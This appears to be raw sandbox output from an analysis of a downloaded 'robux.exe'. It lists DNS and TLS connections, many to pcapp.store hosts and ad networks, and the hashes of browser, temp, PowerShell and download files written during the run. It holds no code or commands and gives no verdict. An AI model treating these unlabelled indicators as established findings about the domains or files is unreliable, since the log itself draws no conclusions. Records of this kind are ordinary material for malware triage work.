US 151.101.1.16:443 images-eu.ssl-images-amazon.com tcp
GB 13.224.81.124:443 s2.paa-reporting-advertising.amazon tcp
GB 13.224.81.124:443 s2.paa-reporting-advertising.amazon tcp
GB 13.224.81.124:443 s2.paa-reporting-advertising.amazon tcp
US 8.8.8.8:53 repository.pcapp.store udp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 195.181.164.19:443 repository.pcapp.store tcp
GB 142.250.178.14:443 google.com tcp
US 8.8.8.8:53 129.95.172.18.in-addr.arpa udp
US 8.8.8.8:53 16.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 23.1.32.45.in-addr.arpa udp
US 8.8.8.8:53 16.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 124.81.224.13.in-addr.arpa udp
US 8.8.8.8:53 19.164.181.195.in-addr.arpa udp
US 8.8.8.8:53 sq-tungsten-ts-eu.amazon-adsystem.com udp
IE 3.254.239.147:443 sq-tungsten-ts-eu.amazon-adsystem.com tcp
IE 3.254.239.147:443 sq-tungsten-ts-eu.amazon-adsystem.com tcp
IE 3.254.239.147:443 sq-tungsten-ts-eu.amazon-adsystem.com tcp
US 8.8.8.8:53 dt.adsafeprotected.com udp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 8.8.8.8:53 226.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 14.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 147.239.254.3.in-addr.arpa udp
US 8.8.8.8:53 98.12.234.34.in-addr.arpa udp
US 8.8.8.8:53 aes.eu-west.3px.axp.amazon-adsystem.com udp
US 8.8.8.8:53 ads.pubmatic.com udp
IE 54.154.106.220:443 aes.eu-west.3px.axp.amazon-adsystem.com tcp
IE 54.154.106.220:443 aes.eu-west.3px.axp.amazon-adsystem.com tcp
IE 54.154.106.220:443 aes.eu-west.3px.axp.amazon-adsystem.com tcp
GB 195.181.164.16:443 repcdn.pcapp.store tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 8.8.8.8:53 220.106.154.54.in-addr.arpa udp
US 8.8.8.8:53 16.164.181.195.in-addr.arpa udp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 8.8.8.8:53 delivery.pcapp.store udp
GB 195.181.164.19:443 delivery.pcapp.store tcp
US 8.8.8.8:53 11.97.55.23.in-addr.arpa udp
GB 142.250.178.14:443 google.com udp
US 45.32.1.23:443 pcapp.store tcp
US 34.234.12.98:443 dt.adsafeprotected.com tcp
US 34.107.254.252:443 api.permutive.com udp
US 34.107.254.252:443 api.permutive.com udp
NL 178.250.1.25:443 csm.nl3.eu.criteo.net tcp
GB 3.162.20.122:443 d74queuslupub.cloudfront.net tcp
US 8.8.8.8:53 122.20.162.3.in-addr.arpa udp
US 45.32.1.23:443 pcapp.store tcp
US 8.8.8.8:53 211.19.162.3.in-addr.arpa udp
US 8.8.8.8:53 44.143.84.52.in-addr.arpa udp
US 8.8.8.8:53 pcapp.store udp
US 8.8.8.8:53 pcapp.store udp
US 104.248.126.225:443 pcapp.store tcp
US 8.8.8.8:53 225.126.248.104.in-addr.arpa udp
US 45.32.1.23:80 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 8.8.8.8:53 repcdn.pcapp.store udp
US 8.8.8.8:53 repcdn.pcapp.store udp
US 8.8.8.8:53 repository.pcapp.store udp
US 8.8.8.8:53 repository.pcapp.store udp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
US 8.8.8.8:53 repcdn.pcapp.store udp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.17:443 repository.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
GB 195.181.164.15:443 repcdn.pcapp.store tcp
US 8.8.8.8:53 repository.pcapp.store udp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
GB 195.181.164.14:443 repository.pcapp.store tcp
US 8.8.8.8:53 17.164.181.195.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com udp
GB 2.18.66.75:443 tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.4.4:443 dns.google tcp
US 8.8.8.8:443 dns.google tcp
US 8.8.8.8:53 14.164.181.195.in-addr.arpa udp
US 20.189.173.7:443 browser.pipe.aria.microsoft.com tcp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
US 8.8.8.8:53 7.173.189.20.in-addr.arpa udp
US 147.182.211.77:443 ev.pcapp.store tcp
US 8.8.4.4:443 dns.google udp
US 8.8.8.8:53 77.211.182.147.in-addr.arpa udp
US 8.8.8.8:53 222.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 74.19.199.152.in-addr.arpa udp
US 147.182.211.77:443 ev.pcapp.store tcp
US 8.8.8.8:53 evcs-ocsp.ws.symantec.com udp
DE 152.199.19.74:80 evcs-ocsp.ws.symantec.com tcp
US 8.8.8.8:53 r.bing.com udp
BE 2.17.107.105:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 8.8.8.8:53 collector.github.com udp
US 140.82.114.22:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.8.8:53 22.114.82.140.in-addr.arpa udp
US 8.8.4.4:443 dns.google udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 api.github.com udp
GB 20.26.156.210:443 api.github.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 171.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 r.bing.com udp
BE 88.221.83.187:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 8.8.4.4:443 dns.google udp
US 8.8.8.8:53 github.com udp
US 185.199.110.154:443 github.githubassets.com tcp
GB 142.250.179.234:443 jnn-pa.googleapis.com udp
GB 20.26.156.215:443 github.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
GB 20.26.156.210:443 api.github.com tcp
GB 3.162.20.122:443 d74queuslupub.cloudfront.net tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.4.4:443 dns.google udp
GB 172.217.169.42:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 42.169.217.172.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 bbfb66ff6f5e565ac00d12dbb0f4113d
SHA1 8ee31313329123750487278afb3192d106752f17
SHA256 165401ef4e6bbd51cb89d3f9e6dc13a50132669d5b0229c7db12f2ec3f605754
SHA512 8ea206daabc7895923f3df9798bfd96f459bf859c78f3e5640fad550678b5090539f2a1b590883cd9797efee999acccac16d499772f61f5390e91bcc44d60560

\??\pipe\LOCAL\crashpad_3472_EZBBPKCZEOHRKQLE

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 9a91b6dd57fc9c4880d34e9e7c6b760f
SHA1 77a09da6ef4343a8b232386e000cd2d6b9fc30a3
SHA256 0170297f0103d4e415653f86dedc31b0827580042f86862206fd3f6f135b543a
SHA512 9fc3b9be931b3edebc4a6809d62d805046bdceb4c27a7db21cfbbcb0e5e253ab529c54d64e465e60904a6ab3b83156e26b97f852c9526f46f037944f806a7f0f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 1bbc29013f380b9417fe86e9c8231b3f
SHA1 a391632b5970dfd552b9f0a5922573c34ec0f2fa
SHA256 c8f606745e57478be124b764b80c8e38a3e420d7cf631a9988f4ad896537d31c
SHA512 997d07f555a2e52cd276bb9bdfd169eafadfc850b56a3747ff1425cf42697c5de8155987f291a22363d9fca151744dcd3450a79faaab394a711a2349a364ce04

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 a744570cad139a3e0fc114004d0f8298
SHA1 0957b8d63072d0b34e41f0d40eaeb1666cef777e
SHA256 93fb1fc31861f292bcf36f0b4b1894c180284cf985cf106fca4228fcaaf17fa7
SHA512 09cf2158d22c8edfc0884a3982acec2cf82540f20bd6bd7e0c52e26a875238f2f421cadb37cf1d748db6929689b5721a7e3445077ccfe989c4551a713af8797e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 3dac101238f88928481586fbb74b2d24
SHA1 d071b110f6e55bfe9800277d2856276d6299c26b
SHA256 3a97effedca6445b68f8a0ad41341c22e23173be096c9afabdb252737ec1647c
SHA512 dcd76bac09d01355721c1c162cd6f80453c4e2741809ade0be68372ddb2c7fb8f7621abc62a526a11eba081697ef11fbfd89d29322577aeeaa454a514608ecf0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 fc0507d6807adb71aafdca7407f0ce83
SHA1 f35c5ebc8c81d7534fc2ff10eb639f9c1726160a
SHA256 6b8010560c7f1b55f61ba291d3fdf24252c9be677cc7d10c1369f6e25bdcc5bb
SHA512 e2760323fe282a627513a993c2b60097f20260cbf2c8832f236fd7f0abd9e11e423791ab9ba73fb0b1ea9e7a19199d9cddea8d024c99f3b87ca659b33e2605d0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

MD5 ddb8bf0444969fde4ffd0dd3036d9dda
SHA1 b77ba856c51a72a40f69637a9c7980cbbe859897
SHA256 3e634c7e24539826f9f228decb932e1b9c3139c6505bbf6a9d15cc206f1cc6c3
SHA512 bca01e2dbf2b8aed3a08ddd51d68029296175b7a2f2a601a3c3e522ccfbce6c397b3c9a109db07abb053cd812865d930b097888ea58a772a99d4a67821d02f5d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

MD5 d6b36c7d4b06f140f860ddc91a4c659c
SHA1 ccf16571637b8d3e4c9423688c5bd06167bfb9e9
SHA256 34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92
SHA512 2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

MD5 9e3f75f0eac6a6d237054f7b98301754
SHA1 80a6cb454163c3c11449e3988ad04d6ad6d2b432
SHA256 33a84dec02c65acb6918a1ae82afa05664ee27ad2f07760e8b008636510fd5bf
SHA512 5cea53f27a4fdbd32355235c90ce3d9b39f550a1b070574cbc4ea892e9901ab0acace0f8eeb5814515ca6ff2970bc3cc0559a0c87075ac4bb3251bc8eaee6236

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

MD5 2e86a72f4e82614cd4842950d2e0a716
SHA1 d7b4ee0c9af735d098bff474632fc2c0113e0b9c
SHA256 c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f
SHA512 7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

MD5 56d57bc655526551f217536f19195495
SHA1 28b430886d1220855a805d78dc5d6414aeee6995
SHA256 f12de7e272171cda36389813df4ba68eb2b8b23c58e515391614284e7b03c4d4
SHA512 7814c60dc377e400bbbcc2000e48b617e577a21045a0f5c79af163faa0087c6203d9f667e531bbb049c9bd8fb296678e6a5cdcad149498d7f22ffa11236b51cb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

MD5 74e33b4b54f4d1f3da06ab47c5936a13
SHA1 6e5976d593b6ee3dca3c4dbbb90071b76e1cd85c
SHA256 535fc48679c38decd459ad656bdd6914e539754265244d0cc7b1da6bddf3e287
SHA512 79218e8ee50484af968480ff9b211815c97c3f3035414e685aa5d15d9b4152682d87b66202339f212bf3b463a074bf7a4431107b50303f28e2eb4b17843991c2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

MD5 e9260f3d081cf9a5d5c7551fbdc3d234
SHA1 0cc5b721c02dab3301207880871fc97e004c3b88
SHA256 81b05795af8af16e41a86d022730747b7b59a8e96951ec3053f34f91d66cae4e
SHA512 d4445200865a3636e814fcddd9ea21dfdbed943deb68a12279d715879693921e94ca8dd8570853bbed657f47cc8d034f931f500b3591a2001185d9be45bd109a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 8e1af51e97e0828df2c7c1ae9da9aaa4
SHA1 947fcc41452f0f89f22a197c7932dd38e1e803c2
SHA256 9cdecd576bd4ecc762722b425eaa11e91ae0fddc90c5885ad787d498e039a7b2
SHA512 ed18e200eb197eaa0a9b6f4e92b9b5c8389ff1d68b70f2b2a204110978062d3b41d683f430ad5aad2f041fb3e826375b5ca4558af896b14cc0189e6f7f15a6a9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 0d88a1f74043f13009ba7f1b6cab400a
SHA1 a086dd42bd2b512ab22dc8db6367da59ad06b98c
SHA256 6e1a46a75e14fe72d74e6bbc1d2cab3d5f537f8e8df652471d4cc1dcdba0b8c6
SHA512 67e5204a8a76c9479914b5dbbc3ddc8514fda3215453f9d822e8c3e2adacad850103414c8cef5acc01d6269307dcde21516e52b0cf6c9a10aa2a003a18e08bfb

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 aba0a8273327fca917cbb59f1e5bd7ae
SHA1 7fb601f611b8b899448ea54c1d7e00a59f2460c2
SHA256 071fd4f66eec77e34c3c1724198afaccfa9a312f216cb6a96b6901aadc908c85
SHA512 57291fae9ac4d3974c8424c9fefca7e15c5ad14d47d39bc28fe37625d548e2c215d7ca7063f2e15dad51aff190c49b54c7d6072827ff8c3a97816e628f29944d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 8c5cf9516e9c844e044d8e16a05e62ba
SHA1 4ebc88a9c08a9ea4cc6bcd29235a3c8bb14381ec
SHA256 9a42bf98c47c60f616f8b52d7a056f2691de6f0f4acdde7107b978e0ef8fd0b6
SHA512 7d50e4e02bdc6415be3d8e585db957316a6790d32e8cf059b6fccf3e65358348dfe64bc9d5fca4f6f54a22c437f2d732795f17bd46dbea73abef478a51b25497

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57dab0.TMP

MD5 2700c1320560a153b9ce7a6e15dbc28e
SHA1 f11edf01b1e6bdb410c9d5bca47b3de81dc327c3
SHA256 68fe8a8b973d919c249c835d5aac8c81216b6e7a6ec11f0711319a6b567e19b4
SHA512 7daadc58b6438910d63a40b5250d3bdd530f49370b1ee93c858c53159f31bf09fe5544d8faef620473b15e00f70c58dd708b024b5d6e3958a8b918b4f97740ca

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 604914afec06e42bf9bad931e5e00371
SHA1 009a3441455ed2455f53d14c88821f9b3751ddd7
SHA256 6aa4f5f733737dbea4d6ec4b951a4b4042dc20cd883691c16da1a2d3988a04d3
SHA512 e331fbf3d51e487b5a6d16002fdaeaf87bdd65bdfeeb11be2d591032d397cc8b8c9fc3a5ca8a87653a3483d719dc8e78d57a1e816a2f2f64b51fa4176a4d1a79

C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 0b6aee1776a84c01e9ceb49e993922c2
SHA1 3cf831e4a0596bc5fdd1bcc6e80e1087753266be
SHA256 bfbecaadd2f33fd976ed4af9062fccf2216f69ee6b1676e7b5d46b3358a231c7
SHA512 11297557846b585b107d38976b972330221c8bd9c4a04cae281fc36850df083d40561586226f8f1165e48230ba881f1f17d9cc3ae0a59db0b618150c2760b0af

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 b315ecd387ed00dca8bd6d90bd3784d2
SHA1 b9952161cbb4f5794c4dcf77741a68e71e6a22f0
SHA256 084048e0f62638b4608509e8960a73666c5fb4c3e1a2307bf4de95efc28b51e5
SHA512 1a3f3ee1ff0732e24e6c1f46df9f5d54e4953a80f2b96b6019b9adca4df7a508e4a15cfac64d59dcdab1cb35f825f3a9a7690aff5a39812c74b661076a6cd846

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 3ea57ed1676df4cf9c4108654b9aa21f
SHA1 ecb5cdcb11438c29843d30c16b90ac3b95699b72
SHA256 cc3922111328a5ae12414e135301443a7f8bf10f2f747bdd7b523ea5d03da64b
SHA512 157b996f8ede7d352a7aea464678dac83af8d27cd4678ab4d7c05febe75cedf9f3f53311c3e2dc6c8c0d56b407090ff16167423dd5206d2a67d86d019c2b9d45

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 80a62f16b9f83ad43a5f29c0b84ee5e5
SHA1 7971318066509ca7f005afff4adc21ca5453cc3b
SHA256 fe1fe57c2e92af71c8885563e8412254c8d6dea42c88d593d9e519150af66cb1
SHA512 404f16497a4b19ea563cd7312840c0bf554466b50defcb676dae11bf5651190804374aeaa863f59bd0b825dcffb9467fe5ac0e5c775a293892cfa7c293a12041

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 0c98285523e4f031c51cde3c6671c31e
SHA1 0a73932d0770799f8ad9b5719ab1e0c677495637
SHA256 e35d7b8d1d1ec279dbee33bf272d9e784185f21598f020b16657d93cb6bd7f82
SHA512 16388f05f416b700c2ba9362aa9e5b7e115aabf592900b9401e79abb8b0e4c2722847fd0b391eb6e08c5384fa2a34e8eda959a660704f9d74fe654a59918ffca

C:\Users\Admin\Downloads\Unconfirmed 978431.crdownload

MD5 86d68c9cdc087c76e48a453978b63b7c
SHA1 b8a684a8f125ceb86739ff6438d283dbafda714a
SHA256 df51babc1547a461656eaef01b873a91afcf61851b6f5ef06977e1c33e1b5f32
SHA512 dd627f071d994999172048f882ba61407461633634fdb2a3f2b8e6abff6324cc0d78682b5adc4aa4083e5baa1c981687f5c516d9e075eb00dfb58364cee1db04

C:\Users\Admin\Downloads\robux.exe:Zone.Identifier

MD5 0f98a5550abe0fb880568b1480c96a1c
SHA1 d2ce9f7057b201d31f79f3aee2225d89f36be07d
SHA256 2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1
SHA512 dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 24135b27ba3e3719eefd4da2b8a1f2f9
SHA1 beefe1ce0a3d1bda5c1fa928de24fad2c2f3302b
SHA256 21b615a21e95e33f10eb2b15870eaccedf2ea1ee2cd7eae965a20e4c6cf64e18
SHA512 0ceff810ddaac60ec5abc5c140544432277364e2247589b87ccadd1b8191289798d470e2625dc4cb21143b4f3672182616cdd605708839ddbb823c1f83a418e0

C:\Users\Admin\AppData\Local\Temp\CFED.tmp\CFEE.tmp\CFEF.bat

MD5 addedb06062eef1e06beb01c81ede139
SHA1 fe92bda282254358c287991cd4020f393a3393fe
SHA256 98c6a0254f64be056923053dff9619232013371b7326bd539d5e1717d7844c3f
SHA512 a892597d9fed1cf6fb34d810ac3385a0e3c2ab03ecb09434eb2252d2cedc3f11c018a0d077a670113a18dcabeddb0f50fc6eda33b7e5ae078bf99d13e8874123

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_waby514o.c5i.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4072-1009-0x0000020F7C270000-0x0000020F7C292000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 2779dd1dba6a430a30cf96befde5c424
SHA1 883d1b025b6833efc44192931d23c42d483f4c7e
SHA256 1cb66d0faf9385476743834a68f73acd384c2adbef527fd8b58db4d4f30a2c21
SHA512 1f338c1461ec45e2e0fad5f0a68c22551f84c566f2eb459af5e77a44531d455febef813d5ffc8ae3e5dddc9e8638030e19a0f8f21860a822fcbcd5ba42506a8c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 128b0fbd903238cd4a80dce3b9d5aff9
SHA1 fab64c1f5164fb7f9895e799014e8479277343e1
SHA256 f6e02fb40c71f1fff2ad0004707957aecfe037a953a9a63e299352dd3650a42f
SHA512 3bce01d43e5a0842b007d6328f7cf729afc81b522d313f281cbdb7bb4501bf6b72d9c0822971b4ca2f968e75feac101e5b06737d30a9f819d6512ca9700880e6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 6224614fac3e264806c30a8952cd2ce4
SHA1 dc22fe83725325dcdb1a001897ce8549c8c39717
SHA256 7238c91622d8cb2992a196a3589ddeb8d30ff8f172c85407e62500cef75ae294
SHA512 b3ed4306695089aa20cd29eda296893df71502472141a3eac69cab7a538fc08f1f30e13f3eae9c9f99525482f3abcc47552f4f9e9d6d82a6bc3c969b67e3a231

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5e6baeec02c3d93dce26652e7acebc90
SHA1 937a7b4a0d42ea56e21a1a00447d899a2aca3c28
SHA256 137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0
SHA512 461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

C:\Users\Admin\Downloads\Unconfirmed 483068.crdownload

MD5 9b52f6b0533f05686ed29b63a12a88b3
SHA1 25cf52a9a62253bc6566946dfac5d119e70b24f3
SHA256 7dc767c9996b5bcf4ecfec32ae92a66ee7eb92d85ca8fa294872a5890adf467f
SHA512 dcf6e90c06ce2bf65141ec1e0979fae9b2f8bfe8f6d0ee88028f691045d6ca59f0fba51df78c92453abd0f5208ef925752b920f80751bfca2726f71f9ae7e97b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\41eb3ccf-e2f3-4c27-b236-a89455f8bf3c.tmp

MD5 f5e1e6872bbc3e736bef65a58bcd9fe0
SHA1 ac0dc324713d17819dd029dbb1b01f5a2832ef99
SHA256 39afa36365fd903d77e7bd8dc8043747ed2f3e9bcd9487a005f577e0fc458bdb
SHA512 4550430848705e1991a2ba1b857903b01216623be3242a1ae29a2e6ae3441618369dd321af0f9ffffe49662fec601ac06bbe6293dde9c2ded974b8d56feb9dde

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d1747e2fd5b0434353ff3e141cb2601
SHA1 b2c23ab0d44a44b1d0cb17aad4753dd37c7d5329
SHA256 3ead9b3963133244b9792d1e6d5bcf38b2b6e18b86d060760e2d339a6b71f1e3
SHA512 946a685ebe15c910a99965bc74d92f337c191b7802866dfa951fd137cfa610b02e3acbd18a385b46d003cd9a6c2948236efbc83eaaf6e0b0b455ec1e66ace400

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 0abc882b6ee77526a1889ef2566f7cc5
SHA1 183bc5b6dc2d01b210ed67ac65640db464567772
